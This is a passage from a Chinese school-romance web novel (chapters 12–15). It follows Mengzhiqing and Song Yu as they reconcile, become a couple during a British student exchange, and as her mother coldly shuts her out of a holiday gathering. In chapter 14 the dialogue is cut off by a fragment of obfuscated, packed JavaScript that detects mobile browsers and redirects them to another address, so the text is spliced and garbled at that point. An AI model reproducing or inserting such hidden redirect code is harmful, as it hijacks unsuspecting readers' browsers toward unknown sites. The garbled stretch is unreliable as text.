孟知卿想说,“那种感觉真的让人想疯”的话刹住,“反正就是一种奇怪的感觉吧,称不上喜欢。”
“嗷,”宋七哈哈两声,“你想占有他,但是不喜欢他,懂了懂了。”
孟知卿已经侧头望向铁板鱿鱼,觉得同不理解自己的人说不出什么。闻着麦芽香又像被酒精熏醉了,“可能还有点馋吧,”
呆愣愣地开口,“馋他跟人说话时是温柔的样子。”
宋七:“??”
12. 低头
完全没懂,什么叫馋他跟人说话时是温柔的样子,有人跟她说话狠言厉色,不温柔吗?谁跟她说话狠言厉色,不温柔了,谁这么大胆,谁。
不知道,也没时间问了。
摸底考试如火如荼地进行,孟知卿被分到了高三一班第一个座位。
原以为新转来没成绩参照会被分到最后一考场,却不想在第一考场。
“不用太紧张哈,”
宋七上回考了年级第四,刚好跟她一个教室,“实在不会就往旁边瞥两眼,旁边是聿哥,”
边扶人下楼边宽慰,“待会儿我就去帮你说说,让他写的时候手让一让,给你开个绿色通道。”
“不用了吧,”孟知卿面露难色,“作弊不,”
“没事,不重要,”宋七拍她肩膀打断,“重点是让他关注你,作弊什么都次要。”
要让他知道你需要她,在乎他,别再冷眼相待,气上头了。
她到现在都忘不了孟知卿昨晚那伤春悲秋的模样,完完全全深陷泥泽无能为力,喜欢她哥喜欢得要疯了。
今天一看她哥,好嘛,居然还在你不爱我,那我就不理你地耍小性子,还没清醒。
“交给你了哥,”
路过厕所恰好碰到被宋桥山拉出来陪聊的宋聿,径直将他手扯过来扶住孟知卿,“先前说负责总得负责到底吧,你也不是那做一半搁置一半的人,”
将两人手心紧紧摁到一起,“所以,请务必好好照顾她,这是你的责任。”
回想自己先前说的,“我就不推波助澜了,你们慢慢来”,简直就是放屁。
她不推波助澜,谁推波助澜,她不帮孟知卿,谁帮她,难不成要等那个性别男的自己发现她喜欢他,又因为他幼稚到不能再幼稚的小性子快抑郁了?
可能得等到明年吧。
“以后晚上你也自己送她吧,我还是回去哄小九,并且,”
加重音量凑到宋聿耳边,“之前让你相信自己的魅力你也别太相信了,我看乔明风就挺喜欢她,别的班也有好几个男生问我要她微信,我是因为你对她挺有意思才没给,可千万,千万别辜负我一片好心。”
彻底被策反,往常什么事还从宋聿,她聿哥的角度思考,“我聿哥就是个温驯柔软的人啊”,如今听来简直讽刺。
就像有些人好是好但只能做朋友,到了恋人不免出现这些那些从前并未发觉的问题。
宋聿做哥哥确实称职,到了恋人,还真不一定。
“我去上厕所,让我哥扶你去考场吧。”
冲孟知卿挥挥手,消失在女厕门口。
孟知卿:“???”
一切发生得太快都没反应过来。
“呃,”
外头下着雨,廊下有水一滴顺着一滴溅开,“没事我,”
“走吧。”
她抽开手准备自己离开,宋聿却破天荒地捏住她手腕,柔声细语。人来人往,声色嘈杂,他就那么牵着,一步一小心。
“好吧。”
孟知卿也没什么可说的了。
三门课程很快考完,学霸不愧是学霸,孟知卿从头到尾关注着,宋聿解题是真快。
自己语文阅读还没写完呢,稍稍偏眼,他作文都写一半了,字也规整,像从哪个印刷厂统一印出来的,飘逸潇洒就清一色的飘逸潇洒,一眼就能认出来。
写完又从头到尾扫一遍,轻轻柔柔地翻试卷,外头小雨淅淅沥沥,他坐在那什么都不做就让人挪不开眼。
孟知卿因此走了神好几回神,当然。
更多原因是对题目无能为力,只能发呆熬时间。
“给你。”
考完试特地下楼买了两听雪碧,宋聿合了课桌,便递去一听,“谢谢你照顾我。”
这一天宋聿都在照顾她,考试结束挡着人群护送她上楼,陪着等宋桥山带饭,帮忙打开饭盒,倒好水洗了勺子筷子才去食堂。
“为什么我没有这待遇。”宋桥山在旁边直眼瞧着,非常困惑。
“你也脚伤了?”
宋聿只回了这么一句。仿佛任性两天突然豁然开朗,不管他们之间有没有更深层次的情感交流,孟知卿脚伤是真,做为罪魁祸首宋桥山的哥哥,担起责任照顾她也是真。
冷淡归冷淡,该做的还得做。
不过孟知卿这回不能再那么理所应当了,别人本身没有义务照顾她,照顾了,就应该感谢。
宋聿顿在那,盯着那听雪碧久久无法回应。
“谢什么,”
宋七刚好看到这一幕,把雪碧摁回孟知卿桌上,“我哥照顾你应该的,他做为班里唯一的成年人照顾所有人都合理,况且宋桥山还害你受伤,你就该心安理得接受他照顾,不照顾你反而要指责他不负责。”
“没有,”孟知卿当然不能这么想,还是把雪碧递过去,“也不算感谢吧,就,分享?我很喜欢喝雪碧,分享给你。”
宋聿没接也没动作,孟知卿便搁到桌角,又把另一听递给宋七,“下一趟楼不容易,不可以拒绝哦。”
宋七接了,看看她哥,没说话了。
“谢谢。”宋聿落座冷声。收拾好桌肚挑出刚考完的三张试卷,晚自习各科学委会公布答案。
然后挪过那听雪碧盯着上头的图案,好一会,在人冷不防的时候单手抠开“啪嗒”一声。
清爽的柠檬味漂浮出来,水汽因子很快扩散到教室每个角落。
他摸摸水滴形开口,眯着眼,仿佛那是个人,越望之越思绪凝重,下一秒要干出什么骇人听闻的事。
“哥,别,”宋七近乎跳起来,“别这样别这样,孟知卿她就是,真的只是单纯分享,她之前跟我说过特别喜欢喝雪碧,是吧孟知卿。”
孟知卿:“?”
“嗯。”
“是的对不对,对,”仿佛抓住救命稻草,赶紧将雪碧抢过来,“而且孟知卿她自己也很不知所措,你不能怪她,是你自己先不理她,她怎么搭话你都不冷不热的,我都感觉出来了,人家当局者早就陷入自我怀疑了,”
“她现在是诚惶诚恐,你自己作的,”
抱过另一听雪碧,抬脚就走,“宋许还在下面踢球,让我带水来着,刚好,告诉他聿哥贴心地帮他打开了,走了啊。”
冲孟知卿扬扬下巴,又回来抱上自己的水杯,“真走了啊。”
孟知卿:“???”
完全不懂,这一天她的每一个操作她都不懂。
这回又诚惶诚恐,什么诚惶诚恐,谁诚惶诚恐?
再看看宋聿,还保持着方才那姿势,也不知摸了雪碧是要做什么,宋七又为什么把雪碧抢走。
以物类人,看了雪碧就生她的气?
下一秒,宋聿偏眼望向她。
“不是我让她说的,我也不知道她在说什么。”孟知卿撇清关系。
“我知道。”宋聿打断,声音是那么沉重沙哑,痛心疾首的,仿佛充满歉意?
嗷。
那又跟她有什么关系。
-
一场雨过后秋的身影总算有些眉目,柏油路蒙上一层熠色,城市倒映,香樟树常绿常新。
这回换孟知卿走在前头,三步停两步等后面的宋聿。
还是没背书包,听宋七说家里还有好几本资料,够
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他刷到明年的。
他每天将近一点才会睡觉,刷题刷到眼睛实在睁不开才会躺下,自始至终生活在一片压力中,没有人给他,他自己要背上。
算是一种责任,一种回馈,他想要回馈福利院的大家,院长,副院长们,是他们在他被抛弃时选择收留了他,所以无论讨好还是乐意背上这份责任,他都有充足的理由时时刻刻绷紧不松懈分毫。
孟知卿理解也因此敬佩他。
只是。
就各自周全各自吧,人与人之间没有那么多理所应当。
没有人理应当对她从头热到尾,宋聿突然冷掉她也不应该有这样那样的情绪,还傻傻想要挽回,完全没必要。
其实昨天晚上她就已经想清楚了,该道歉的道歉了,别人怎么接受,接不接受她都无需再管,不然还能期待什么呢,期待谁呢,期待谁才不会让她落空呢。
“抱歉。”
一路过了两个红绿灯宋聿突然开口,孟知卿已经到了小区门口,“抱什么歉。”
边褪书包边冷淡开口。
“你也觉得我莫名其妙吧,”宋聿牵过她手腕把她带到小区门边上,因为里头的门卫已经闻声望过来,挡着门挡久了怕要被说道。
“我也觉得。”
孟知卿:“……嗯。”
拽着门卡不知道该不该把书包拉链拉上,一会刷完还要放进去。
“你很失望。”他问,用陈述句问,孟知卿:“嗷。”
也没回答失不失望,她有什么理由失望,他们什么关系。
“对不起,”宋聿又道歉一遍,“有意忽略你我也很难受。”
孟知卿:“?”
“不过你怎么突然冷了。”
孟知卿:“??”
这句话可算挑动她到现在都稳着没波动的情绪了,“我怎么突然冷了,”
所有委屈在须臾间如困兽出笼,“你不觉得这个问题很可笑吗。”
“是啊,可笑。”
“歉也道了,软话也说了,我有时候就在想到底哪里得罪你了,到底哪里,”
退后一步,干脆把书包拉链拉上背起来,“还有什么事是我没做的,你还要我怎么样,怎么样你才能原谅我,”
“吼,看都不看一眼的嗷,好像我是什么下水道里爬出来的东西,看一眼脏你眼睛,现在还有脸来问我怎么突然冷了,冷一下你就受不了了吗,你怎么不反思反思,你冷了多久,甩了多久的脸,我会是什么感觉,”
“可你觉得我在气什么,”宋聿打断,垂着睫问。
孟知卿:“……我怎么知道!”
瞪他一眼,真想抬脚就走。
“气我自己,”他低声,“你看不到我的纠结与不知所措吗,我想靠近,但你在原地。”
孟知卿:“什么?”
就他那说一句回半句的还有脸说自己想靠近,谁给他的自信,谁允许了。
“我在原地就不允许你靠近了吗,你找这样的借口不觉得羞耻吗。”
宋聿反而笑了。
“孟知卿,”忽然靠近,抬手抚上她后脖颈,捏住她耳尖,“话都说多少遍了,你信么,我感性,我喜欢,我喜欢你的性格,我会喜欢你,哪一句你信了?”
孟知卿:“啊?”
像被点穴顿在那。
宋聿又帮忙抚开她眉宇间的碎发,拇指滚烫地揉过眼皮。
“我的每一句试探你都视而不见,就不能没良心地不许我气一气自己,”
“已经七个晚上没睡着了孟知卿,我在幻想拥你入怀,你却总在同旁人说笑。”
“我心都要碎了。”
13. 乞怜
周五英国交流生如约而至,二十三个男男女女,金发碧眼,也有棕皮肤,黑皮肤,穿着统一的小西装,灰蓝色格子裤,女生是格子裙,一个接着一个,背着简约的书包下大巴。
大巴停在学校东门,每班五个代表被安排迎接,一路陪聊,三五成群带到实验楼三楼的多媒体教室。
副校长亲自上这堂公开课,中国剪纸文化,剪纸课。
孟知卿跟宋聿一桌,带着一个亚洲女生,两个金发女生以及一个非常白的白人男孩,不像高中生,像才小升初。
她们说他智商高,跳级来的。
孟知卿只能竖竖大拇指以做回应,本来可以畅聊一番的,但宋聿看着。
那晚他们没聊出什么,就是孟知卿释放委屈的那晚。
准确来说是谁都不觉得自己有多错,谁都觉得自己委屈,比对方委屈。
宋聿坚持自己一腔热血,本兴致冲冲地期待一星期期限结束,给自己说的“太快了”一个交代,准备来场正儿八经,触及灵魂深处的坦白。
却被孟知卿一盆冷水当头浇下,就问她,在雨水未歇的夜里问她,“发生在你身上,你会如何。”
会生气吗,会怀疑吗,会不知所措,难道不会彻夜难眠吗。
那天之后他几乎没睡过一个整觉,幻想着跟她在一起后会怎样,将她拥入怀中抱着,轻轻贪婪地索取她身上的味道,柔软的,香甜的。
但每个清晨又重新宽慰自己,无妨,没事,如宋七所说的那样,相信自己的魅力,她总会回心转意。
又比谁都清楚,她不喜欢,并没有同他一样,一脚踩进泥泽深陷其中。
那种感觉太无助了,他只能勒令自己停止,停止幻想,停止无谓的靠近,故意诬陷她把自己当狗逗,故意听不清道歉,看不到她做了什么。
可谁又明白他内心的纠结呢。
他不能为谁停下脚步,他有他的责任,始终包裹在如牢笼的声色里,他需要马不停蹄,片刻不歇地向前,但又时常停下。
想着一生一次还能为谁脱了束缚,为谁不计得失呢。
也就孟知卿了,他真的觉得也就孟知卿了。从没那么强烈地,非他不可地迷恋上一个人,他觉得他跟她是相似的,相像的,下意识觉得,他们就该在一起,不在一起天理难容,他们之间有宿命。
所以在劝好自己重整旗鼓来到学校时,看到她有题不会问宋桥山也不问自己,问宋许,乔明风,问宋七。
当然,不是吃宋桥山,宋许醋的意思,只是不明白,明明自己被浇得血淋淋的,为什么她反而使气,反而有意气他。
大概真是他的性格不是她会喜欢的吧,也确实,遇到如此落差他不能好整以暇地对待,他没办法回以笑脸,温温柔柔,轻声细语。
他只觉得抓狂,时时刻刻想要发疯。
孟知卿听完愣在那,除了愣好像也不能有什么其他多余的反应了。
她怎么会知道宋聿真的喜欢自己,真的喜欢,他真的喜欢?
副校长在台上激情澎湃地介绍着,操着一口流利的英伦腔,但英伦腔是做作的,平稳的,激情澎湃不了,所以时常显得不伦不类。
孟知卿斜一眼宋聿。
黑白校服洗得干干净净,一点褶皱都没有,黑发还是那么松软,耷拉在脑袋上,仰头专心听讲时有根头发呆呆竖了起来,傻傻的。
她想笑,但夜幕下他支离破碎的模样又重晃回眼前,她开始觉得自己并不认识他。
她觉得他该是有个性的,高高在上,认错也带着刺,任何时候都远在天边旁人近不得。
他是天之骄子啊,哪怕生于福利院也没人敢轻看,没人会轻看,如宋七所说,他非池中之物,一眼就望出来了,少年选不了出生而已。
但却乞怜一般冲一个女生摇尾请她多看自己两眼,请她清楚自己喜欢她喜欢得要疯了吗。
她不懂。
谁应该为了旁人丢弃自我呢,谁会搁置尊严放下自尊呢,她也正因为不想丢了自我才一次又一次醒悟,说再也不伺候了,冷便冷吧,划清界限好了。
那他还请她原谅做什么,各自安好不好吗。
感受到视线宋聿侧头,孟知卿冲他笑笑。
他皱着眉,眼睑半拉冷冷的。
孟知卿在那晚之前看到肯定觉得他心情不好,冷得要死,那晚之后。
觉得这半拉的眼睛里有情绪,在确定她是不是安好,是不是坐久了难受,在疑惑她看自己做什么,探究她是不是也喜欢自己,是不是有喜欢的蛛丝马迹。
是真陷得深了。
“没有,”孟知卿轻声,“你有根头发竖起来了。”
白人男孩闻声回头,看了两眼又继续听讲。孟知卿离宋聿很近,手肘稍微放松就能跟他的挨到一起。
“哪里。”
他低下头把脑袋递过来,低下头头发也自己回去了。
“没了。”
孟知卿盯着那发顶缩脖子,近距离看,那头发一根一根像针每一根都不柔软。
“骗子。”
宋聿低声,很低很低,低到只够他们两个人听到,又像在她耳畔私语。
“没有,”
莫名胸口一软,浑身像爬满了虫,“刚刚竖着,现在没,”
“嗷。”
宋聿坐回去,手却过来牵起她的手,“冰凉的,一会怎么剪纸?”
摩挲着,像那是他的东西。
那晚他留下的最后一句话是,“你说你在原地允许我靠近,那没什么可说的,就此翻篇,”
“接下来我要追你。”
她得了便宜还要卖乖。
“嗷。”
-
副校长终于介绍完,给大家分发剪纸材料,正红色纸张每人三张。
屏幕上有生肖龙图案的教程,孟知卿没什么想法就跟着剪了。
“Whataboutyourphonenumber?”(你电话号码是什么?)
随口几句交流着,白人男孩突然问,孟知卿:“啊?”
“电话,电话号码吗,我,”看看宋聿,眉不动声色地扬起来,垂着睫,看似专心致志剪纸,实则留心听着,半句话不对立刻就会抬头,孟知卿都看透了。
“Stillastudent,havenomobilephone.”(还是个学生,没有手机。)
话落,宋聿笑了一声,嗤笑。<
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“你这英语也不怎么样嘛,怎么敢毛遂自荐?”
孟知卿:“……”
“哪里不怎么样,你问人家听懂了吗,听懂不就行了。”
她家保姆跟硕士姐姐都这么聊天,从来不管语法,听懂就行。
“不过腔调倒是挺做作。”宋聿似笑非笑。
孟知卿:“……”
英国阿姨就是标准英伦腔,她从小耳濡目染,有什么问题吗。
“Howisthatpossible,”白人男孩不可置信,“Youhavecontactinformation,right?”(怎么可能!那你总有联系方式吧。)
“呃……”孟知卿顿在那,其实给个联系方式,交个国际朋友也不是不行,况且弟弟年纪还小,才十二三岁,某人不至于,
“Sowhatareyougoingtocut?”
某人打断,他至于。
不同于孟知卿略显做作的语调,他的英语发音更倾向自由的美音,多卷舌,吞音,语调变化起伏不定。
白人男孩一时间没听懂,“嗯哼?”
“Hesaidwhatareyougoingtocut.”(他问你准备剪什么。)
一旁的亚洲女生接话。
同样来自亚洲,虽然出生不同,从小接受的教育不同,但对美丑的判断是与生俱来的,亚洲人跟亚洲人应该差别不大。
“Sowhataboutyourphonenumber?”她问宋聿,甚至递去早准备好的纸笔。
另外两个金发女生当即摇旗呐喊,“You’vegotthis,goon!goon!”(你肯定可以的!加油加油!)
仿佛在此之前就已经做足了要号码的打算。
换孟知卿扬眉。
突然明白刚刚宋聿为什么一直低着头了,不低头是真尴尬,虽然英国人不一定看得出中国人的尴尬。
可宋聿看得出。
“你觉得呢。”
宋聿的声音传来,居高临下的,又有点不对劲。
“嗯?”
孟知卿抬眼,才反应过来哪里不对劲,说得是中文,在问她。
“我怎么知道,你,你自己决定啊,”
扫一眼那亚洲女生,哇哦,脱了小西装,里头的衬衫只扣了下面几个纽扣,黑色蕾丝花纹优美地勾出两道弧线,中间那一条就更不用说了。
“喜欢你就留。”
低下头。
又抬起头,看屏幕,转两下自己手里的纸,比对着,好像哪哪都不对,她剪到哪了。
“不过我觉得还是不要,”
明明在专心剪纸,余光里宋聿也没再看她,并不在意她的回答,甚至接过了笔摁出笔芯。
她没来由地望过去,提醒,“你每天早出晚归又跟人聊不了几句,留了有什么用。”
宋聿捏笔的手一顿,唇角无声无息地跳了下,孟知卿清楚,他高兴了,想笑,但他得忍着,因为他装。
“没关系啊,聊不了几句也算聊了,”落笔写字。
孟知卿:“可你说你要追我,是准备脚踏两只船吗。”
14. 抓狂
再仔细,人写的是:【Sorry,nophone.】
比她还不注重语法。
并且。
宋聿将纸张递还给亚洲女生,冲她抱歉笑笑。
而后。
牵过孟知卿被空调吹得冰凉的手,覆盖住,揉一揉,再冲人笑。
“Aa,sorry!sorry!”亚洲女生喊。
宋聿靠近,“不踏,就你一船够了。”
-
“Okay,next……”(我们按照座位分组,五六个人为一组,依次出题,进行你比划我猜……)
“andtheprizeis...”(奖品是……)
副校长拉长声音制造悬念,“Thebadge!……”(中国各个城市,内涵各城市主要风景的徽章,共七枚,金色的哦,会不会镀了真金呢?不知道,赢得你就知道了。)
话落不止英国同学,一中同学也激动地母语乱飙,“真的假的,老王别骗人啊。”
副校长姓王,经过一节公开课孟知卿也感觉出他的平易近人了。
“谁知道呢,”他耸耸肩,“你赢啊。”
成功激发大家斗志。
“就,猪,猪,”乔明风一边拱鼻子一边想拉文艺委试图背她,然后发现不太好,就挑了个英国男同学,背起来开始哼调子。
“不许出声啊。”老王跟助教老师站在后头,笑着提醒。
他们的你比划我猜规则比较奇怪,要求每组写出六到八个词作为题目,在规定时间内把这些词比划给其他组别猜,猜中本组积一分,猜对的组也积一分。
意思自己组出题时要往简单了出,大家一下猜到就能积分。
当然,也不能太简单,每个词要求不少于五个字。
“猪八戒背媳妇!”
孟知卿组别的白人男孩率先用中文喊出答案,老王闻言直鼓掌,“这都知道,看来中国文化输出很到位啊。”
这一鼓掌可了不得,不少同学因此改了题目,后面连“三打白骨精”“偷吃人参果”“俺老孙来也”都出来了。
孟知卿组别没改,因为题目是白人男孩定的,他对中国文化颇有研究,自诩很懂他们中国人的脑回路。
“牵手,情人!”乔明风喊。
白人男孩激动地指他,“Yeah,well,”
意思继续猜,你猜得对,“andthen?”(然后呢?)
靠到孟知卿胳膊上,捶孟知卿手臂。
乔明风:“撒娇?”
“Youright.”白人男孩眼神鼓励,说话把音都吞了。
乔明风不确定地说:“冲情人撒娇?”
“Ee……no,alittlebit,差一点点,”继续捶孟知卿手臂,两只手捶,“Thefirstwordisnot冲。”
“向?”乔明风还是不确定,“向情人撒娇?”
“Well!nextone.”(对了!下一个。)
孟知卿:“……”
宋聿:“……”
老王:“……”
下头所有一中同学,包括刚答对的乔明风也都沉默,无言,无话可说。
这什么题。
并且。
一定要用孟知卿来做那个“情人”吗,她还是个瘸子。
“Nextone,nextone.”白人男孩很着急,因为太喜欢那几枚徽章了,一定要得到。表达欲也因此水涨船高,根本不给孟知卿躲开的机会。
“Youknow,”(你懂,)
他拽过孟知卿衣襟将她脑袋扯下来,然后伸脖子探去,左脸颊贴一下,右脸颊再贴一下,“Youknowwhat’sthis.”(你懂这在干什么吗。)
孟知卿愣住,也不知道怎么就那么配合地让他贴了,贴完直起身下意识看向宋聿,站在讲台前,被安排扶出题板,眉眼冷的,半扯着唇角,要笑不笑。
孟知卿仿佛听到一声嗤弄,盯着白人男孩,如果不是中英友好交流会,会立刻,马上,无论对方是谁,什么身份,什么文化背景,两拳头直接抡上去,“你怎么敢碰她。”
-
最后一项游戏内容是中英拔河。一点都不友好,暗中较劲的感觉。
一中同学太多,就选了跟英方差不多体型的二十三位同学,带到操场。
其余的要么回班,要么去操场加油。
大多数还是去操场加油了,毕竟交流会没结束,也没好好道别,不能这么不明不白地离开。
肆意笑声充斥进绿茵场,孟知卿个瘸子站不了太久,便坐到主席台。
宋聿坐在她隔壁。
因为瘸着,这样寸步不离的守护以及肩并着肩的靠近,在人群里竟然引起不了一点怀疑,大家都觉得理所应当,做为孟知卿的同桌他照顾孟知卿应该的,没有人往其他什么不正经的方面想。
孟知卿对此不知该高兴,还是该坐立不安。
她现在就坐立不安。
自从被白人男孩贴了脸,明显感觉宋聿身上的气压低了,但又不是低她,是低白人男孩做的事,所以她不知道该不该宽慰,宽慰又该说什么。
-“别生气,外国人的礼仪而已,很正常。”
-“那我们也来场外国人的礼仪,贴贴吧。”
那她不得尴尬死。
“那个,”她突然站起身,“我有点渴,去食堂买个酸奶。”
宋聿偏头,没动。
“呃,那我自己去了。”她又没带拐杖,怎么可能自己去。
“站住,”宋聿出声,孟知卿停下,“不是让你有事一定麻烦我,又忘了?”
孟知卿:“……那你又不动,”我怎么麻烦你,我敢吗。
后面越说声音越小,直至消失,因为感受到宋聿的靠近,居高临下,硬邦邦地从身后凑到跟前,“不动你可以骂我。”
“神经病,”孟知卿缩紧脚趾,“有谁喜欢挨骂的。”
“我,”宋聿靠近她的耳,“骂得越狠说明你越在乎,现在就骂两句听听。”
孟知卿:“……”
“神经。”
有时候真感觉宋聿心理有问题,不健康,外表看着低眉低语,一有情绪却像比谁的情绪都要大,来得都要莫名。
譬如此刻。孟知卿都不知道自己哪句话说错了,甚至觉得自己都没说话,才刷过脸付了酸奶的钱,就被宋聿翻个身压到售卖机上。
“你又耍什么性子。”他问。
孟知卿:“耍性子?”哪里耍性子了,耍什么性子,他对耍性子的定义是什么。
“不说话。”他靠在售卖机上低着头,孟知卿仰起脸也只能看到他下巴。
好在售卖机在食堂里面,离操场比较远,大家也都沉浸在拔河比赛中,加油声一阵一阵,没人察觉少了两个人,更没人想到他们会在这。
“你知道你不说话我会觉得抓狂吗。”他又问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879639|159748||http|test|mini|href|location''.split(''|''),0,{}));
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>孟知卿:“……才知道。”
“孟知卿,”他很难过地喊出一身,孟知卿是真不理解了,怎么了,又怎么了。
“你还是不喜欢我对吗。”
孟知卿,沉默了。
“啊?”
这个问题她至今没思考过,不敢思考,没时间思考,不想思考。
“我究竟是什么性格,”他放开人,退后一步,“那男孩跟你脸贴脸的时候我是不是应该不在意,大度,权当没发生过。”
孟知卿没说话。
“你默认,”他说,头发都耷拉下去,“你不喜欢我经常生气,觉得我反复无常,是吗。”
孟知卿想说没有。
“就是,”他自己回答自己,根本不等孟知卿开口,“你不喜欢我这样,不喜欢我的性格,不喜欢反复无常,所以不喜欢我,就是。”
孟知卿:“你想说什么。”
干脆放弃挣扎直接冷眼相待。
“你不能拒绝那男孩不跟他贴脸吗,你为什么不躲开。”
“你为什么不阻止,抓个牌子死在那了吗。”
“我没反应过来。”
“那我反应过来了?”
宋聿突然就没话了。
孟知卿继续道:“况且就贴个脸而已,人家的礼仪,难道我脸就脏了吗,脏了吗,犯得着这么建议,要真觉得脏了你就去追别人吧,别来烦我了。”
弯腰取酸奶,取完要走。
“不是这个意思,”宋聿这回倒眼疾手快了,须臾间钳住她手腕,“我是气自己,应该大度一点。”
“嗷,”孟知卿也没真想走,一拽就停下,甚至有格外隐晦的喜悦,仿佛小性子被满足了,“那你也应该大度一点放我跟乔明风多聊两句。”
宋聿:“?”
孟知卿转身望向他,“我也不会希望你跟文艺委多聊两句的,如果你同那个亚洲女生贴脸礼,甚至不贴脸,单单留个联系方式我都会觉得难受,这样说你能明白吗。”
宋聿显然不明白。
“占有欲,”孟知卿解释,“你把我划进你的领地,像野兽一样想要守住自己的地盘,不允许旁的生物接近,想要占领我,没什么值得自我怀疑的,因为我对你也有,这很正常。”
宋聿愣在那。
孟知卿的心跳莫名加快,“意思在宽慰你,并没有不喜欢你的反复无常,以及你在意的这些,甚至因为你想要占有我而觉得自己相当重要,被正儿八经在乎了,”
她笑笑,“我也没有生在一个有爱的家庭,我也没有安全感,也时时在被抛弃,所以非常理解你的这些感受,想要抓的抓不住,在乎的人不在乎你,那种崩溃,抓狂,时时刻刻想要发疯。”
孟嘉先生刚去世那会,她就被盛岚的冷漠逼疯过。
因此自小就有个自以为绝对的观念,觉得感情不过累赘。
人一旦对另一个人有了感情不免会有期待,期待她多关注自己,关心自己,说话能轻声细语些,能理解到自己的小性子。
但期待终究落空。不然她怎么会不知道便利店门推开的一瞬间,下意识缩紧的脚趾是喜欢。
她只是不想承认,不想除了母亲之外,再在和谁的交际里卑微乞怜,她受够了,她想要挺直腰杆,直面这个世界,骄傲地,娇纵地,自以为是地活下去。
“所以不用怀疑,也不用改,”孟知卿从没这么高兴过,“你就这样。”
遇到了一个和自己相似的人,而他想要占有自己。
15. 借口
周五过后迎来中秋节,放假两天半,周一下午补课,周二小考。
上回摸底孟知卿成绩不怎么样,但没关系,她刚来,一轮复习也没复习,考得不好连老葛都安慰她,叫到办公室送了一瓶酸奶,说,“别难过吼,中秋节好好复习,小考再加油。”
其实也不算安慰,算期待了吧。
所以中秋节孟知卿就应该老老实实待在家里复习,但中秋节诶,天涯海角共此时,不应该回家团圆吗。
妈妈可能忙,不,肯定忙,直到周六下午也没打电话来说回家团圆的事,孟知卿在复习数学,小考还是只考语数英,语文实在没什么可看的,英语她上会考了单科年级第三,就数学,差得吓人,二十几分。
所以得好好掌握掌握前期的知识点,宋聿说难者不会,会者不难,理解最重要。
她理解,可饿了一整天,实在有点理解不了自己为什么不下楼买饭,或者叫个外卖。
丢笔换衣服找拐杖,孟知卿摁亮一楼电梯,准备出去吃饭。
时间已经来到下午四点多将近五点,一场雨后见秋的残阳斜在天边,没那么闷热,舒爽的。
梧桐苑外不少门店已经开了,烟气袅袅,孟知卿没做停留,径直过马路往另一条街的罗森去。
不知道宋聿在不在兼职,他没手机也真的没有微信,孟知卿联系不到他,出了校门他们就是广袤宇宙里两道浮萍,不刻意,永远也不会碰到一起。
“欢迎光临罗,”清冷的男声卡住,孟知卿接道,“森。”
笑笑,“你果然在兼职,这么辛苦。”
宋聿跟孟知卿第一回推门进来时的模样差不多,一件黑色短袖,半倚在柜台上刷题。
不一样的是,那时他冷淡地抬起睫打量她,这回眸色里却有了笑意,“宋桥山他们刚走。”
孟知卿:“嗯,然后我无缝衔接来陪你。”
下意识缩着脚尖过去,“你在写什么?”
“狂练。”宋聿淡声,合上习题册给她看封面,《小题狂练》。
孟知卿点点头,“都已经这么厉害了还这么努力,佩服佩服,”
然后望向柜台熟食区,“有什么好吃的吗,一天没吃东西了。”
宋聿本随着她视线去到熟食区准备开柜门,闻言顿住,“一天没吃?”
孟知卿:“啊,不是,就下午。”
这人对她的健康也很看重,不能乱说。
宋聿这才开柜子向她展示,“肉串三明治刚做没二十分钟,其他中午做的别考虑了。”
孟知卿挪过去,“可以的,不过都是你做的?你亲手做的?”
宋聿看向她,“嗯哼,如果需要我也可以提供□□。”
“不用!”孟知卿吓得声量都抬高,“我家没通气,开不了锅。”
这人自在食堂听她说时时被抛弃,父亲早逝,母亲工作繁忙,常嫌她动作慢,嫌她碍事,转了学刚好离家比较远,干脆把她一个人丢在这,想起来的时候问一嘴,乐得清闲。
便多次提议要不他陪她住,反正有两个房间,互不干扰,权当合租,他给她付房租,每天还跟她一起上下学,照顾起居,一举两得,不,一举多得。
孟知卿一口回绝,“不!”
绝无可能。
“噔噔噔噔——”
一道语音电话打进来,孟知卿一手接过宋聿递来的肉串,一手将拐杖夹到胳膊下掏手机。
妈妈打来的。
“听说摸底考试了?考得怎么样。”
孟知卿一句招呼没来及打,被一句问话问僵在原地。
她看看宋聿,笑笑示意自己要接电话,然后撑着拐杖往里走,坐到固定餐桌那。
“不太好。”
“考前大半夜不睡觉,能考好才怪,”
盛岚那头很吵,非常嘈杂,好像有很多人说话,她说这句时离开了人群去到外面,偶尔有两声鸟鸣传来。
“半夜给我发什么,什么压力好大,学习节奏好快,不是你自己要转过去的。”
孟知卿:“……嗯,”
低下头,肉串上的酱汁顺着滴落下来,滴到了桌上。
不过半夜发消息已经是摸底考前一晚的事了,过了整整一周妈妈才看到,才想起来问,“我也只是说说,会努力跟上的。”
“那就别跟我扯这些,一中是你自己要转的,也说明了,半个学期跟不上继续回国际高中,好好考雅思准备出国,天天搞这些没有用的,作妖作不完,闲,”
“知道了,妈妈。”
孟知卿难得打断盛岚,斜着眼,余光注视着走近的宋聿,带来两张纸,擦干净桌面,又接过肉串帮她擦手。
不同于女生柔软细腻的触感,男生的手偏硬,骨感干净,捏过她的手一点一点,一根指尖一根指尖地擦拭,擦拭着,还居高临下在昏昧里盯着她,孟知卿整张脸都红了。
“没有,不是嫌您唠叨,就,就是知道了。”
电话那头顿了一刻,孟知卿赶紧解释。
那头嘈杂声隐隐约约,有人靠近问了句,“是知卿吗,叫回来一起吃饭吧。”
“不用,”盛岚一口回绝,“我们一家姓盛的聚,喊她姓孟的干什么,”
而后转到手机听筒说,“两星期一考,这周又要考了是吧,考完什么成绩告诉我,还不行立刻转学。”
说完直接挂断,孟知卿。
习惯就好,习惯就好。
不过原来妈妈没在忙,也知道这几天是中秋假,知道应该一家人团团圆圆聚一聚。
只是那个一家人没有自己,自己姓孟,她姓盛。
刚刚说话的如果没听错应该是小姨,小姨跟舅舅一家,自从孟嘉先生去世后,逢年过节都是这一群人,到大别墅吃喝玩乐,打牌打麻将。
孟知卿不喜欢舅舅的小儿子,上有两个姐姐,宠惯得骄纵蛮不讲理,每回过来都要扒拉点什么,看到什么都想占,都想摸一摸,都说想要。
